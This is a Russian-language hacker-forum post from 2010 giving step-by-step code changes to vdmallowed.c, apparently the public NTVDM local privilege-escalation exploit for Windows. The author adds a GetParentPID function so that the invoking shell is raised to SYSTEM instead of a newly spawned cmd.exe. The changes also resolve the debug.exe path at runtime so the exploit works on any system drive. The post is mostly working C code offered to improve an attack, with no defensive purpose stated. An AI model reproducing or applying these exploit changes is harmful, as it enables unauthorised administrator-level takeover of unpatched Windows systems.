Показать сообщение отдельно

  #8  
Старый 23.01.2010, 12:00
slesh
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
С нами: 10097606

Репутация: 3349


По умолчанию

Ну вот моя дороботка.
В файле vdmallowed.c правим
1) в начале добавляем #include <tlhelp32.h>
2) полностью удаляем функцию PrepareProcessForSystemToken
3) Этот код
Код:
 if (PrepareProcessForSystemToken("C:\\WINDOWS\\SYSTEM32\\CMD.EXE", &ShellPid) != TRUE) {
        LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure");
        goto finished; 
}
заменяем на этот
Код:
ShellPid = GetParentPID(); 
if (!ShellPid)
{
        LogMessage(L_ERROR, "GetParentPID() returned failure");
        goto finished; 
}
4) Вписываем вот эту функцию
Код:
ULONG GetParentPID()
{
	HANDLE h;
	ULONG pid;
	PROCESSENTRY32 pe32;
	ULONG ret = 0;

	pid = GetCurrentProcessId();

	h = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (h != INVALID_HANDLE_VALUE)
	{
		pe32.dwSize = sizeof(PROCESSENTRY32);

		if (!Process32First(h, &pe32))
		{
			CloseHandle(h);
			return 0;
		}
	
		do
		{
			if (pe32.th32ProcessID == pid)
			{
				ret = pe32.th32ParentProcessID;
				break;
			}
		} while (Process32Next(h, &pe32));

		CloseHandle(h);
	}

	return ret;
}
т.е. вся идея не в том, чтобы создать процес и получить его пид, а в том, чтобы узнать пид родителя.

5) перед SpawnNTVDMAndGetUsefulAccess("C:\\WINDOWS\\SYSTEM3 2\\DEBUG.EXE", &VdmHandle)
пишем:

char buf[260];
GetSystemDirectoryA(buf, 256);
lstrcatA(buf, "\\debug.exe");
SpawnNTVDMAndGetUsefulAccess("C:\\WINDOWS\\SYSTEM3 2\\DEBUG.EXE", &VdmHandle)
заменяем на
SpawnNTVDMAndGetUsefulAccess(buf, &VdmHandle)

т.е. в данном случае мы не будем зависеть от диска на котором находится винда.

Последний раз редактировалось slesh; 23.01.2010 в 12:03..
 
Ответить с цитированием